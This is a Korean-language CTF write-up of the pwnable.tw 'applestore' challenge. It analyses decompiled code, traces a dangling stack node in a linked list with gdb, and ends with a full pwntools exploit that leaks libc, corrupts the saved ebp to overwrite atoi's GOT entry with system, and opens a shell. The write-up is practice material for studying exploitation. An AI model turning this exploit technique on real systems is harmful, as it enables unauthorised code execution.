이 단계에서 라업을 쓸거라고는 별로 생각을 못했는데... 좀 많이 막힌 문제여서 라업작성을 한다. 사실 이런류의 취약점을 처음풀어본다. 그리고 점수에 안맞게 매우매우 어려웠다.
그리고 평소에 라업을 너무 대강쓰는 것 같아서 앞으로 쓰는 틀을 좀 정형화 시켜보려고 노력중이다.
보호기법은 위와 같다. got overwrite이 가능하다!
바이너리를 살펴보자면 크게 add
, delete
, cart
, checkout
으로 나눌 수 있다.
Add
unsigned int add()
{
char **cart; // [esp+1Ch] [ebp-2Ch]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
switch ( atoi(&nptr) )
{
case 0:
puts("Stop doing that. Idiot!");
return __readgsdword(0x14u) ^ v3;
case 1:
cart = create((int)"iPhone 6", (char *)0xC7);
insert((int)cart);
break;
case 2:
cart = create((int)"iPhone 6 Plus", (char *)299);
insert((int)cart);
break;
case 3:
cart = create((int)"iPad Air 2", (char *)499);
insert((int)cart);
break;
case 4:
cart = create((int)"iPad Mini 3", (char *)0x18F);
insert((int)cart);
break;
case 5:
cart = create((int)"iPod Touch", (char *)0xC7);
insert((int)cart);
break;
}
printf("You've put *%s* in your shopping cart.\n", *cart);
puts("Brilliant! That's an amazing idea.");
return __readgsdword(0x14u) ^ v3;
}
이 add
함수는 이중연결리스트에 애플제품들을 추가시킨다. 여기서 create
함수와 insert
함수가 있는데, create
함수는 링크드리스트 요소를 동적할당 받아 반환하고 insert
는 list의 처음부터 순회를 해서 리스트의 끝에 집어넣는 역할을 한다.
또한 chunk의 구조는 다음과 같다.
chunk size |
|
name addr |
price |
next chunk |
previous chunk |
취약점은 존재하지 않는 것 처럼 보인다.
Delete
unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
v1 = 1;
v2 = (_DWORD *)Cart;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
v3 = atoi(&nptr);
while ( v2 )
{
if ( v1 == v3 )
{
v4 = v2[2]; // next
v5 = v2[3]; // prev
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = (_DWORD *)v2[2];
}
return __readgsdword(0x14u) ^ v7;
}
delete
함수는 특정 number의 chunk를 삭제시키는 역할을 한다. 이 함수또한 별다른 취약점은 없어보인다.
Cart
int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
_DWORD *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ====");
for ( i = (_DWORD *)Cart; i; i = (_DWORD *)i[2] )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *i, i[1]);
v3 += i[1];
}
}
return v3;
}
cart
함수는 기존에 담아놓았던 아이템들과 가격들을 출력해준다. 그리고 총 가격을 반환한다. 별다른 취약점은 없다.
Checkout
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 ) // 총합이 7174원이면
{
puts("*: iPhone 8 - $1"); // 1원에줌
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
카트에 담긴 아이템들의 가격이 7174원이면 iphone 8을 1$에 추가해준다.
(7174원은 for문 여러개 돌려서 브루트포싱하면 바로 나온다 . 나는 199*9+299*15+399*1+499*1로 했다. )
그런데 여기서 insert
를 할때 동적할당을 받은 주소가 아닌 stack의 주소를 넘긴다.
이렇게 스택의 주소를 넘겨주게 되면 , checkout
이 끝난 뒤에 저 부분이 다른 곳에서 재사용 될 가능성이 존재한다. (UAF)
(왜 이생각을 하는데 시간이 오래걸렸지..)
사실 여기까지 분석을 해서는 정확한 시나리오가 잡히지 않았고, 이 문제에서 사용자의 입력은 my_read
라는 함수에 의해서만 발생하기 때문에 이쪽에 초점을 맞추고, 이 함수가 실행되는 곳에서 브레이크 포인트를 걸어주고 분석해보았다.
Vulnerability
gdb-peda$ x/2x 0x804c880 -> 마지막으로 할당 받은 heap
0x804c880: 0x0804c900 0x000001f3
gdb-peda$
0x804c888: 0xffffcf78 0x0804c868
gdb-peda$
0x804c890: 0x00000000 0x00000069
gdb-peda$ x/2x 0xffffcf78 -> 스택청크
0xffffcf78: 0x0804c910 0x00000001
gdb-peda$
0xffffcf80: 0xffffcfb6 0x00000000
gdb-peda$ x/s 0x0804c910
0x804c910: "iPhone 8"
위는 iphone 8이 막 추가된 시점에서 연결리스트의 끝 부분을 보여준다.
0x804c880
은 기존의 연결리스트의 끝이였고 스택부분에 위치한 0xffffcf78
이 next로 추가된 것을 볼 수 있다.
그리고 0xffffcf78
을 보면 name 에 iphone8 이 들어가있고 price 는 1로 설정되고 next는 초기화되지 않아 스택에 존재하던 쓰레기 값이 들어가 있다.
Thread 1 "applestore" hit Breakpoint 5, 0x08048ab9 in cart ()
gdb-peda$ x/10wx $ebp-0x22
0xffffcf76: 0x4c75ffff 0x20702a8e 0xcfb62a8e 0x0000ffff
0xffffcf86: 0x000a0000 0x94000000 0x000084dd 0x50000000
0xffffcf96: 0xcfd82aa6 0x8c4dffff
그리고 my_read
에 break포인트를 걸었는데 my_read
의 버퍼는 ebp-0x22
부분이였고 이를 보니 0xffffcf76
으로 위에서 받은 0xffffcf78
과 매우 근접한 부분에 위치한 것을 알 수 있다. my_read
에서는 0x15바이트 만큼 읽을 수 있으니 스택청크로 할당된 부분인 0x10 크기는 모두 덮을 수 있다. (cart, delete,add, checkout에서만 가능)
이를 이용하면 leak은 쉽게 할 수 있을 것 같다. stack chunk->name addr 을 got로 변조하고 next를 null로 맞춰주면 cart 함수에서 libc leak이 가능할 것이다!
이 부분에서 한번 더 조심해야 하는 것이, 저 스택청크 부분은 계속 사용이 되는 부분이기 때문에 한변 변조한다고 그대로 남아있는 것이 아니다. 따라서 y+null + printf got + size + null +null 로 cart에 payload를 보내줘야 한다.
이렇게 libc leak을 했다. 이제 got overwrite을 해야하는데 우리가 변조할 수 있는 주소로 덮어쓰기가 되는 부분은 delete 밖에 없기 때문에 이 부분을 활용해야 할 것 같다.
먼저 delete 의 unlink를 이용한 방식이다.
atoi
를 system
으로 덮어주고 싶었는데.. got overwrite이 좀 힘들것 같다는 생각이 들었다.
system
<- 0xffffcf78
<-> atoi@got-0xc
(system -> stack chunk 가 아니다. 이미 리스트는 corrupt됨)
여기서 0xffffcf78
을 제거하게 되면 atoi@got-0xc
의 prev부분인 atoi
에 system
이 적히게 된다. 그러나 이후에
system->next
=atoi@got-0xc
를 하는데에서 쓰기 권한이 없어 오류가 날 것이 분명하다.
따라서 이런 방법으로는 system을 어디에도 적을 수 없다는 생각이 들어서 스택부분 변조를 생각해보았다.
loc_8048BE4:
mov dword ptr [esp], offset asc_804904B ; "> "
call _printf
mov eax, ds:stdout@@GLIBC_2_0
mov [esp], eax ; stream
call _fflush
mov dword ptr [esp+4], 15h ; nbytes
lea eax, [ebp+nptr]
mov [esp], eax ; buf
call my_read
lea eax, [ebp+nptr]
mov [esp], eax ; nptr
call _atoi
mov [ebp+var_28], eax
cmp [ebp+var_28], 6 ; switch 7 cases
ja short def_8048C31 ; jumptable 08048C31 default case, case 0
handler
의 시작부분 어셈코드인데 , ebp
를 변조해서 my_read
의 버퍼를 atoi
로 받아줄 수도 있을 것 같았다. ebp-0x22
가 버퍼이자 atoi
함수의 인자로 활용되기 때문에 atoi_got-4
가 ebp-0x22
부분에 대응되게 만들어 준다면 'sh\\x00\\x00'
와 system
을 전달해 주고 atoi
가 실행되면 system("sh")
가 실행될 것이다.
즉 delete
함수의 sfp
부분을 atoi_got+0x1e
로 바꿔주면 된다.
stack 부분 leak은 environ
을 통해서 stack leak을 해주고 ebp
변조를 해주었다.
상당히 잘만든 문제 같다.
from pwn import*
one=[0x45216,0x4526a,0xef6c4,0xf0567]
printf_got=0x804b010
atoi_got=0x804b040
p=process('./applestore',aslr=0)
p=remote('chall.pwnable.tw',10104)
#p=remote('chall.pwnable.tw',10104)
#0x804c880->0xffffcf78->0xffffcfb6
def add(num) :
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline(str(num))
def remove(num) :
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline(str(num))
def check() :
p.recvuntil('>')
p.sendline('5')
p.recvuntil('>')
p.sendline('y')
def cart(content) :
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.send(content)
def remove_p(payload) :
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.send(payload)
for i in range(9) :
add(1)
for i in range(15) :
add(2)
add(4)
add(3)
check()
pl='y'+'\x00' #dummy
pl+=p32(printf_got)+p32(1) #name addr, size
pl+=p32(0)*2 #next,prev
cart(pl)
p.recvuntil('27: ')
#0x49020
libc=u32(p.recv(4))-0x49020 #printf offset
system=libc+0x3a940
environ=libc+0x01b1dbc
print('libc base : '+hex(libc))
pl='y'+'\x00' #dummy
pl+=p32(environ)+p32(1) #name addr, size
pl+=p32(0)*2 #next,prev
cart(pl)
p.recvuntil('27: ')
stack=u32(p.recv(4))-0x126+0x22
binsh=libc+0x15910b
print('stack : '+hex(stack))
for i in range(20) :
remove(1)
pl='7\x00'
pl+=p32(printf_got)+p32(1)
pl+=p32(stack-0xc)+p32(atoi_got+0x1e)
remove_p(pl)
p.recvuntil('>')
print(hex(binsh))
pl='sh\x00\x00'+p32(system)
p.send(pl)
p.interactive()
'전공쪽 > pwnable.tw' 카테고리의 다른 글
[pwnable.tw] starbound (0) | 2020.12.31 |
---|---|
[pwnable.tw] death note (0) | 2020.12.29 |
[pwnable.tw] tcache tear (0) | 2020.12.27 |
[pwnable.tw] Re-alloc (0) | 2020.12.24 |
[pwanble.tw] breakout (0) | 2020.12.22 |